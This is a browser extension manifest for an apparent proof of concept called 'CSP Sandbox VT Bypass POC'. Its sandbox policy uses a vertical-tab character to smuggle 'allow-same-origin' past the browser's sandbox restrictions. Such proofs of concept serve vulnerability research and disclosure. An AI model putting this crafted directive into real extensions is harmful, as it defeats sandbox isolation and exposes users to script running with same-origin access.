{
  "manifest_version": 3,
  "name": "CSP Sandbox VT Bypass POC",
  "version": "1.0",
  "description": "Demonstrates allow-same-origin smuggling via 0x0B in sandbox CSP directive name.",
  "background": {
    "service_worker": "background.js"
  },
  "sandbox": {
    "pages": [
      "sandboxed.html"
    ]
  },
  "content_security_policy": {
    "sandbox": "sandbox\u000ballow-same-origin allow-scripts; sandbox allow-scripts"
  }
}